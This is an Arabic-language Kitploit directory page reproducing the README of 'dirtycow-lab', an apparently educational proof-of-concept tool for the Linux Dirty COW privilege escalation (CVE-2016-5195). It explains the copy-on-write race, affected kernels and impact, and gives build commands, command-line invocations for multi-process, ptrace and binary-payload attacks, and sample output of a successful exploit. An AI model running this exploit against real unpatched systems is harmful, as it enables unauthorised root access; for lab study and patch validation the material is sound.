Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
dirtycow-lab — إثبات مفهوم تعليمي لثغرة Dirty COW (CVE-2016-5195) مع تسجيل، وآلية احتياطية باستخدام ptrace، ودعم الحمولة الثنائية. | Kitploit
أدوات/GitHubGitHub/mohammadamin382/dirtycow-lab
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليمالفريق الأحمراستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubmohammadamin382/dirtycow-lab

dirtycow-lab

إثبات مفهوم تعليمي لثغرة Dirty COW (CVE-2016-5195) مع تسجيل، وآلية احتياطية باستخدام ptrace، ودعم الحمولة الثنائية.

عرض المستودع
11منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Dirty COW Educational PoC (CVE-2016-5195)

⚠️ تحذير قانوني

هذا الكود مخصص للأغراض التعليمية فقط. أي استخدام ضار محظور تمامًا وغير قانوني.

📖 ما هو Dirty COW؟

Dirty COW (CVE-2016-5195) هي ثغرة تصعيد صلاحيات في نواة لينكس تستغل حالة سباق (race condition) في آلية النسخ عند الكتابة (copy-on-write) في النواة. تؤثر هذه الثغرة على نوى لينكس من الإصدار 2.6.22 (الذي صدر في 2007) إلى الإصدارات الأقدم من:

  • 4.8.3
  • 4.7.9
  • 4.4.26

تفاصيل فنية

تحدث الثغرة في نظام إدارة الذاكرة في النواة:

  1. النسخ عند الكتابة (COW): عندما يعيّن عملية ملفًا باستخدام MAP_PRIVATE، يجب أن تنشئ التعديلات نسخة خاصة
  2. حالة سباق: خيطان يتسابقان بين madvise(MADV_DONTNEED) والكتابة إلى /proc/self/mem
  3. الاستغلال: في ظروف توقيت محددة، يمكن للكتابات تجاوز حماية COW وتعديل الملف الأصلي

التأثير

  • تصعيد الصلاحيات: تعديل الملفات المقروءة فقط المملوكة للـ root
  • اختراق النظام: إمكانية الحصول على صلاحيات root عبر تعديل ملفات النظام مثل /etc/passwd
  • سلامة البيانات: تعديل غير مصرح به لملفات النظام الحيوية

🛡️ ملاحظات أمنية للاختبار

⚠️ هام جدًا: اختبر فقط في بيئة معزولة

لا تقم أبدًا بتشغيل هذا على أنظمة إنتاج أو أنظمة لا تملكها!

بيئة الاختبار الموصى بها:

  1. آلة افتراضية (VM): استخدم VMware أو VirtualBox أو KVM
  2. حاوية: حاوية Docker مع نواة قابلة للاستغلال
  3. مختبر معزول: جهاز اختبار مخصص دون بيانات مهمة
  4. متطلبات النواة: إصدارات نواة لينكس من 2.6.22 إلى 4.8.2

ممارسات اختبار آمنة:

root@kitploit:~
# 1. تحقق من إصدار النواة أولاً
uname -r

# 2. أنشئ دليل اختبار معزول
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test

# 3. اختبر باستخدام ملفات غير ضارة فقط
./main -t /tmp/test_file -v

# 4. راقب موارد النظام
top -p $(pgrep -f main)

🚀 التجميع والاستخدام

المتطلبات الأساسية

root@kitploit:~
# تثبيت الحزم المطلوبة (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev

# تثبيت الحزم المطلوبة (CentOS/RHEL)
sudo yum install gcc openssl-devel

التجميع

root@kitploit:~
# تجميع قياسي
make

# إصدار التصحيح
make main-debug

# تجميع يدوي
gcc -o main main.c -lpthread -lssl -lcrypto

الاستخدام الأساسي

root@kitploit:~
# اختبار بسيط بالإعدادات الافتراضية
./main

# وضع مفصّل مع هدف مخصص
./main -t /tmp/testfile -v

# استخدام متقدم مع عمليات متعددة
./main -t /tmp/target -n 4 -r 3 -D -v

# حمولة ثنائية من ملف
./main -f payload.bin -P -D -n 2

خيارات سطر الأوامر

🔬 ميزات متقدمة

1. طرق هجوم متعددة

  • الطريقة 1: الكتابة عبر /proc/self/mem (افتراضي)
  • الطريقة 2: ptrace(PTRACE_POKETEXT) للأنظمة المقيدة

2. المسح الديناميكي للإزاحة

يمسح إزاحات ذاكرة متعددة للعثور على أفضل موضع للكتابة:

root@kitploit:~
./main -D -v  # تفعيل المسح الديناميكي للإزاحة

3. ظروف سباق متعددة العمليات

إطلاق عمليات متعددة لظروف سباق مكثفة:

root@kitploit:~
./main -n 4  # استخدام 4 عمليات متوازية

4. دعم الحمولة الثنائية

تحميل بيانات ثنائية عشوائية من ملفات:

root@kitploit:~
# إنشاء حمولة ثنائية
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin

# استخدام الحمولة الثنائية
./main -f payload.bin -v

5. منطق إعادة المحاولة التلقائي

إعادة محاولة المحاولات الفاشلة تلقائيًا:

root@kitploit:~
./main -r 5  # إعادة المحاولة حتى 5 مرات

6. التحقق من سلامة الملف

استخدام تجزئة SHA-256 للتحقق من تعديلات الملف:

root@kitploit:~
# التحقق من تجزئات الملف الأصلي مقابل المعدل
./main -v  # يظهر مقارنة التجزئات في الوضع المفصل

📊 الإخراج والتسجيل

مثال على إخراج وحدة التحكم

root@kitploit:~
Dirty COW Educational PoC (CVE-2016-5195)
==========================================

=== معلومات النظام ===
إصدار النواة: Linux 4.4.0-generic
البنية: x86_64
المستخدم الحالي: testuser
UID/GID: 1000/1000

=== التحقق من الثغرة ===
النواة: Linux version 4.4.0-generic
[+] /proc/self/mem قابل للوصول

=== بدء الاختبار ===

=== تنفيذ الاستغلال ===
[+] الهدف: /tmp/dirty_cow_test
[+] طول الحمولة: 32 بايت
[+] التكرارات: 10000000
[+] العمليات: 1
[+] الطريقة: /proc/self/mem
[+] الإزاحة الديناميكية: معطلة
[+] تم إنشاء نسخة احتياطية: /tmp/dirty_cow_test.backup
[+] المحتوى الأصلي: original-content-before-exploit
[+] بدء اختبار حالة السباق...
[+] نجاح الاستغلال في المحاولة 1!
[+] تغيرت تجزئة الملف - تم تأكيد التعديل!
[+] الأصلي: a1b2c3d4e5f6...
[+] النهائي: f6e5d4c3b2a1...

=== نجاح الاختبار ===
[+] تم تعديل الملف
[+] تحقق الهدف التعليمي
[+] إحصائيات: 156789 كتابة، 1 ناجحة، 2.347 ثانية

تنسيق ملف السجل

يقوم الأداة بإنشاء سجلات مفصلة في exploit_log.txt:

root@kitploit:~
[2024-01-15 10:30:45] معلومات النظام - UID/GID: 1000/1000
[2024-01-15 10:30:45] إصدار النواة: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem قابل للوصول
[2024-01-15 10:30:45] بدء الاستغلال - الهدف: /tmp/test, الحمولة: 32 بايت
[2024-01-15 10:30:47] نجاح الاستغلال في المحاولة 1
[2024-01-15 10:30:47] الإحصائيات النهائية - كتابات: 156789, ناجحة: 1, المدة: 2.347 ثانية

🎯 سيناريوهات الاختبار

السيناريو 1: اختبار الوظائف الأساسية

root@kitploit:~
# اختبار وظائف الاستغلال الأساسية
./main -t /tmp/basic_test -v

السيناريو 2: اختبار الضغط

root@kitploit:~
# اختبار حالة سباق عالي الكثافة
./main -i 50000000 -n 4 -r 3 -D -v

السيناريو 3: بيئة مقيدة

root@kitploit:~
# اختبار عند حظر /proc/self/mem
./main -P -D -v

السيناريو 4: اختبار الحمولة الثنائية

root@kitploit:~
# اختبار ببيانات ثنائية تحتوي على بايتات فارغة
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v

🔍 فهم الاستغلال

توقيت حالة السباق

يعمل الاستغلال عن طريق إنشاء سباق بين عمليتين:

  1. الخيط 1: madvise(MADV_DONTNEED) - يطلب من النواة التخلص من صفحات الذاكرة
  2. الخيط 2: الكتابة إلى /proc/self/mem - يحاول الكتابة إلى الذاكرة المعيّنة

عوامل النجاح

  • إصدار النواة: يجب أن تكون قابلة للاستغلال (< 4.8.3)
  • التوقيت: يجب أن تحدث حالة السباق في اللحظة الدقيقة
  • تعيين الذاكرة: يجب أن يكون الملف معيّنًا بـ MAP_PRIVATE
  • الأذونات: يجب أن يكون لديك صلاحية قراءة للملف الهدف

لماذا يعمل

عند نجاح حالة السباق:

  1. يتخلص الخيط 1 من صفحة COW
  2. تحدث كتابات الخيط 2 قبل إنشاء صفحة COW جديدة
  3. تذهب الكتابة مباشرة إلى الملف الأصلي بدلاً من النسخة الخاصة

🛠️ استكشاف الأخطاء وإصلاحها

المشكلات الشائعة

1. "فشل الاستغلال أو تكرارات غير كافية"

  • الحل: زد التكرارات باستخدام -i أو استخدم عمليات متعددة -n

2. "فشل الوصول إلى /proc/self/mem"

  • الحل: استخدم طريقة ptrace مع العلم -P

3. "قد لا يكون النظام قابلاً للاستغلال"

  • تحقق من إصدار النواة: uname -r
  • تأكد من أن النواة أقدم من 4.8.3

4. يصبح النظام غير مستجيب

  • قلل التكرارات: -i 1000000
  • استخدم عددًا أقل من العمليات: -n 1

ضبط الأداء

root@kitploit:~
# إعدادات متحفظة (أبطأ ولكن أكثر أمانًا)
./main -i 5000000 -n 1

# إعدادات عدوانية (أسرع ولكن مكثفة الموارد)
./main -i 50000000 -n 4 -D

# إعدادات متوازنة
./main -i 20000000 -n 2 -r 2 -D

📚 موارد تعليمية

معلومات CVE

  • CVE-2016-5195: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195
  • قاعدة بيانات NVD: https://nvd.nist.gov/vuln/detail/CVE-2016-5195

قراءة إضافية

  • إدارة الذاكرة في نواة لينكس
  • آلية النسخ عند الكتابة
  • ثغرات حالة السباق
  • تقنيات تصعيد الصلاحيات

🤝 المساهمة

هذه أداة تعليمية. يجب أن تركز المساهمات على:

  • تحسين القيمة التعليمية
  • إضافة ميزات أمان
  • توثيق أفضل
  • وضوح الكود والتعليقات

⚖️ إخلاء المسؤولية

هذا البرنامج مقدّم للأغراض التعليمية والبحثية فقط. المؤلفون والمساهمون ليسوا مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. المستخدمون وحدهم مسؤولون عن ضمان حصولهم على التصريح المناسب قبل الاختبار على أي أنظمة.

باستخدام هذا البرنامج، فإنك تقر بما يلي:

  • ستستخدمه فقط للأغراض التعليمية المشروعة
  • لديك التصريح المناسب لأي اختبار تقوم به
  • أنت تفهم الآثار القانونية لاختبار الأنظمة دون إذن
  • لن تستخدم هذه الأداة لأغراض ضارة

📝 الترخيص

تم إصدار هذا المشروع بموجب رخصة MIT للأغراض التعليمية فقط.


تذكر: مع القوة العظيمة تأتي مسؤولية عظيمة. استخدم هذه المعرفة لحماية الأنظمة وتأمينها، وليس لإيذائها.

تنزيل الأداة
الخيارالوصفالافتراضيالحد الأقصى
-t <ملف>مسار الملف الهدف/tmp/dirty_cow_test-
-p <حمولة>حمولة نصية مخصصةسلسلة اختبار-
-f <ملف>تحميل حمولة ثنائية من ملف--
-i <رقم>عدد التكرارات10,000,000100,000,000
-n <رقم>عدد العمليات المتوازية18
-r <رقم>محاولات إعادة المحاولة110
-Pاستخدام ptrace بدلاً من /proc/self/memمعطّل-
-Dتفعيل المسح الديناميكي للإزاحةمعطّل-
-vإخراج مفصّلمعطّل-
-l <ملف>مسار ملف السجلexploit_log.txt-
-hإظهار المساعدة--